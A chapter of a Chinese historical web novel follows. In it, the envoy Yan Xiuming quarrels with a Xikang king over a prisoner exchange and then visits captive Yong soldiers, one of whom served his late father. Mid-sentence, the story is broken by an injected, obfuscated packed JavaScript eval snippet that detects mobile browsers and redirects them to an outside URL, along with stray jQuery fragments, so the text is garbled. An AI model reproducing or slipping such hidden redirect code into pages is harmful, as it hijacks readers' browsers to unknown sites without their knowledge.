“哗啦——”


    一只瓷杯坠落，摔在地板上，碎裂的声音在清心台中回响。


    “严国公！”


    榻上端坐的周兆安神色凝重，一边扯着严修明的袖子，一边压低声音劝道，“快坐下，坐下说。”


    严修明一动不动，面露愠色，双眼直勾勾盯着对面的康朔，不发一言。


    康朔故意不看他，挑了挑眉，不紧不慢地拿起食箸，夹了一口案面上的新鲜的蕨菜，细细品味起来。咽下这一口，他才缓声道：“嗯，这个不错。蕨菜配春韭。严正使，你也尝尝。”


    说罢，他给婢女一个眼神，那婢女赶紧上前，给严修明布菜。


    严修明瞥了一眼碗里的菜，又见周兆安不断给他使眼色，才压下一口气，重新坐回席位上。


    “这就对了嘛。”


    康朔道：“战俘的事，并非本王为难你们，实在是民意不可违。他们想做我西康的子民，本王就算不允，他们也会偷偷摸摸、自作主张，与我西康女子通婚生育。你说，本王还能挨个盯着吗？如今这些人，成家的成家，立业的立业，也算是安居圆满。你难道非要逼迫他们吗？”


    严修明不语，一双深邃浓郁的眼睛，只一味盯着康朔，双手不知不觉攥成拳头，仿佛下一瞬就要掀翻一桌案的菜肴。


    周兆安见势头不对，连忙从旁说和，生怕此番谈崩了，继而影响到迎亲事宜。


    说起来，使团早该启程回雍了，偏偏这战俘交接出了岔子。


    西康方面答应送还一千雍兵，可到了清点人数时才发现，哪里有一千人，不过六百余人，还都是老弱病残。


    老弱病残也就算了，登记造册时又发现，其中一大半人，要么不会中原方言，要么说不清家住哪里。这分明是拿西康人充数的。


    至于那些青壮男，要么被编入西康军队，要么被当地同化，尤其是善工者，早早被留用了。


    为此，严修明不得不再次与康朔谈判。


    这一次，不欢而散。


    出了清心台，严修明面色阴沉，大步流星，每走一步，仿佛都要将西康王宫的地砖踩碎。而周兆安跟在他后面，一路小跑，半句话都不敢多说。


    他总觉得，这位卫国公，好像有哪里不对劲。


    初见严修明时，他宽厚随和，与人亲近；处理起外务来，稳重干练，滴水不漏。可自那次春蒐，他从演武场回来，就像变了个人似的。


    平日里除了公事，鲜少与众人闲聊。经常见他一个人在院中舞刀弄剑，一舞便是大半夜，也不知那刀剑跟他有什么仇。


    而且一直以来，严修明对迎亲事宜，不可谓不上心。总是拐弯抹角地打听公主的消息，什么脾性，什么喜好，什么忌讳，事无巨细。周兆安差点以为，他是想讨好公主，为日后进入中枢，铺垫人脉。


    可近来，他又对公主的事绝口不提一字。


    实在搞不懂。


    二人很快走到前庭广场。在偌大一片空地，严修明突然停住了。


    他转头，向东边望去。


    那里是王廷的元台。


    原先平整的地面，如今凸起了一小块。那是几块新砖。


    先前严修明用枪头扎在砖缝中，借力飞身上去，接住康缇。当时损坏的砖块，如今全被工匠撬掉，要换上这几块新的了。


    “严国公，怎么了？”周兆安问。


    “没事。”严修明撤回目光，继续往前走。


    回到西华馆，也不得清净。


    此刻，馆内忙得脚不点地。使团要启程返雍，满院子都是搬运行李的仆从，捆扎箱笼的、清点驮马的、核对文书的，各司其职，乱中有序。


    严修明回来后，并未去休息。他走在院中，一边检视那几辆即将载满贡品的辎重车，一边听管事逐一汇报各项事宜。车轮、车轴、油布、绳索，一样一样看过去，他不时点点头，或是低声交代几句。


    正使马不停蹄地忙活，副使哪敢自己去休息。


    周兆安只能跟在他身侧，同他一起。


    走了几步，他终于憋不住，凑过来压低嗓子：“严国公，您听说了吗？”


    “听说什么？”严修明没看他，只伸手按了按一辆车的车轮，试试稳不稳。


    “那西康公主又哑了，您信吗？”


    康缇。


    又是她。


    严修明一听有人提及此人，便感到呼吸顿了一下。


    “她啊。”严修明故作漫不经心，“八成还是装的。”


    “我看也是。”周兆安嘿嘿一笑，“这对冤家兄妹，上辈子是结了什么仇？您说，公主去了兴安，该不会还接着装哑吧？这能入陛下的眼吗？”


    “那是她的事。”严修明语气淡淡的，“咱们只管把人平安送到便是。”


    说话间，前头忽然传来一阵嘈杂。


    一个仆从搬着箱笼下台阶，一脚踩空，箱角磕在地上，盖子震开半边，里头的东西哗啦啦滚了出来，有几匹绸缎、几卷文书，还有一只装着杂物的藤筐。


    严修明快走几步，上前一把扶住那摇摇欲坠的箱笼，又弯腰去捡滚落的东西。


    那仆从吓得脸都白了，连连告罪。


    可严修明就像没听见一样，他盯着地上绯红色的绸缎，一动不动，失了神一般。


    周兆安见状，摆了摆手，让仆从该忙什么忙什么去，然后俯身到近前。


    “严国公？”


    “严国公？”


    “对了！”


    严修明忽地转头，一张脸快贴上了周兆安，吓了他一跳。


    “哎呦哎呦，”他忙后退一步，抚着胸脯，“严国公，您说话就说，怎的一惊一乍的。”


    严修明站起来问道：“咱们备用赏赐各州府的绸缎，还有多少？”


    “这……我得查查。”


    “赶紧去查。”严修明道，“还有银两，所剩几何，一并报我。”


    “好，我这就去。”周兆安转头要走，


    “等等。”严修明叫住他，“你随后吩咐支度官去查吧，先随我去一趟城北营房。”


    周兆安一愣：“这会儿？”


    “嗯。”


    严修明抬脚便往外走。周兆安看了看天色，又看了看他的背影，叹了口气，跟了上去。两人在译礼馆主簿赫连文的引导下，拐过几条街巷，到了城北那处营房。


    金安城北原本没有营房，如今所谓的营房，是旧仓库改的。这里地方不大，但好歹有瓦遮头。


    说是营房，其实是旧仓库改的，一片矮墙围着的几排瓦房。院子不大，黄土夯的地面。院墙根儿支着几口大锅，正冒着热气，炊烟混着暮色，在院子里缓缓飘荡。


    严修明和周兆安从车上下来，推门进去。


    院子里，三三两两聚着些人。有的蹲在地上，有的靠着墙根，有的就着一块磨刀石磨着钝了的匕首。听见门响，一道道目光齐刷刷射过来。


    “银青……”随从刚开口，要报各位大人的名，却被严修明抬手止住。


    他一步一步往里走，目光从那些麻木而警惕的脸上掠过。


    “严、严将军？”


    一个沧桑的声音从身后传来。


    严修明转身，只见一个六十来岁的老人，拄着拐杖，一瘸一拐地从人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258990|195086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    群中穿过来。


    “可是……严将军？”他走得很慢，眼睛始终注视着严修明，像是要把他的脸看穿。


    “你认得我？”


    “我、我认得严将军。”他上上下下打量着严修明，看了很久很久，“像，真像！大人可是严定山将军的后人？”


    严修明心头一动：“是，严定山正是家父。”


    老人一听这话，眼泪顺着沟壑纵横的脸往便下淌。


    “老天有眼！老天有眼啊！”


    他一把攥住严修明的手腕：“公子，我叫郑大牛，河东人氏。当年给严将军喂过马。八年呐，我跟严将军打过八年仗，从河西打到漠北……”


    “严将军待我恩重如山，我这条命是他从死人堆里捡回来的！后来他走了，我去了别的营，混得一日不如一日。前年打了败仗，让人俘虏了，在这鬼地方蹲了一年多……我以为这辈子就烂在这儿了……”


    看着老人悲怆的神情，严修明心有戚戚，反手回握住他那枯瘦的手：“放心，我此番以使节身份来金凉，正是接诸位回家的。”


    “哦，您就是大雍来的使节？您……”


    老人怔了怔，拐杖一扔，“扑通”一声跪在严修明面前，又涌出一波眼泪：“我就知道，严将军哪怕驾鹤西去，也不会抛下咱们。老天有眼，小严大人来了！您算可来了啊……”


    严修明赶紧俯身，双手扶住老人的胳膊：“老人家，起来说话。”


    “不不，”老人一个劲儿地摇头，“公子，公子，您听我说。”


    “您说。”


    “我有个儿子，叫丁长耕，今年二十三了。我们爷俩一块儿被俘虏的，可到了金安城，他就被拉去北山采石，一直没回来。一年多了，也不知是死是活。公子，您能不能帮我寻寻他？他若活着，我带他回家，他娘还在家等着呢。他若死了……好歹给我个信儿，让我知道往哪儿烧纸……”


    闻言，严修明喉咙一紧。


    难就难在这。


    但摸到那绯红色绸缎时，他便想好了应对之策。


    “好！”


    老人闻言，大喜过望，以头抢地，“嗵、嗵、嗵……”连着磕了好几个响头。


    好不容易给他扶起来，老人又颤颤巍巍转过身，对一众雍兵道：“兄弟们！听见没有！这是严将军的公子！他来接咱们回家！”


    人群一阵骚动。


    严家乃大雍开国元勋，世代忠烈，在军中威望极重。即便不是严家麾下的士卒，也听说过那句“严郎死国，以骨为疆”。


    虽然严定山死后，门楣渐冷，但这个家族以血肉之躯铸就的忠勇神话，俨然刻进了雍人的记忆里。


    而今严修明立在这里，就好像昔日战神复活，再次燃起了众人的热血。


    老兵们浑浊的眼睛闪着光。一个个或残缺、或病弱的身体，拼命往前挤，伸出无数皱皱巴巴的手，向这个年轻人挥舞。


    “严将军！”


    “严将军！”


    ……


    呼声如潮，一浪高过一浪，在严修明耳中回响。


    他不知这“严将军”说的是他，还是他父亲，亦或是严家先辈。可目光扫过众人时，还是会热泪盈眶。


    无数希冀，感召着严修明的心。


    他往前走了几步，走进人群中央。然后双手抱拳，高举过头顶，向众人深深一揖。


    “诸位，朝廷知道你们受苦了，特派我来金凉，接你们回家。诸位且放心，我严修明不会白来一趟金凉。既然要接诸位回家，便一个都不会少。”


    他顿了顿，又道，“我以严家世代忠骨起誓！”